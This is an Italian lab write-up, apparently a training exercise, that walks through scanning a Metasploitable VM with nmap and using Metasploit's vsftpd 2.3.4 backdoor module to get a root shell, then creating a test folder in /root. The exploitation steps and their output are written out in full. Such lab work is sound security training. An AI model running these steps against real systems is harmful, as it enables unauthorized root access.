

Partiamo facendo una scansione del target per determinare i servizi attivi e le versioni in modo tale da poi individuare possibili exploit

```
(kali@kali)~$ nmap -sV 192.168.1.144
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-22 09:07 EST
Nmap scan report for 192.168.1.144
Host is up (0.0039s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
514/tcp   open  shell?
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc           VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
1 service unrecognized despite returning data. If you know the service/version, please submit the
following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port514-TCP:V=7.94%I=7%D=1/22%Time=65AE76A4%P=x86_64-pc-linux-gnu%r(NU
SF:L,2B,"x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20(kali\
SF:\n");
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: c
pe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.57 seconds
```

una volta individuato il servizio vulnerabile e la versione cerchiamo su metasploit l'exploit da andare a utilizzare

```
of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backd
oor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_
234_backdoor

msf6 >
```

scelta la versione corretta, andiamo ad impostare l'ip del target su RHOSTS e la porta su RPORT

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.144
rhosts => 192.168.1.144
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                             |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                |
| CPORT   |                 | no       | The local client port                                                                                   |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][. ..]                                           |
| RHOSTS  | 192.168.1.144   | yes      | The target host(s), see https://docs.metasploit.com/docs/ using-metasploit/basics/using-metasploit.html |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                   |


```

una volta impostato il tutto correttamente possiamo a dare il via all'exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.144:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.144:21 - USER: 331 Please specify the password.
[+] 192.168.1.144:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.144:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.181:36817 → 192.168.1.144:6200) at 2024-01-22 09:14:20 -0500
```

il quale se tutto va bene ci andrà a dare la sessione di Metasploitable che ci permetterà di controllare la macchina dalla nostra macchina attaccante (KALI LINUX). Per controllare che tutto sia andato correttamente facciamo ifconfig e vediamo se otteniamo l'IP della vittima

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:71:21:38
          inet addr:192.168.1.144  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe71:2138/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3151 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2948 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:253493 (247.5 KB)  TX bytes:232490 (227.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:165 errors:0 dropped:0 overruns:0 frame:0
          TX packets:165 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:54601 (53.3 KB)  TX bytes:54601 (53.3 KB)
```

una volta confermato che siamo dentro e possiamo controllare la macchina andiamo a creare la cartella test_metasploitable nella directory root come da richiesta

```
cd root
root@metasploitable:/root# ls
ls
Desktop reset_logs.sh vnc.log
root@metasploitable:/root# mkdir test_metasploitable
mkdir test_metasploitable
root@metasploitable:/root# ls
ls
Desktop reset_logs.sh test_metasploitable vnc.log
root@metasploitable:/root#
```

con questo possiamo dare per concluso il nostro obiettivo.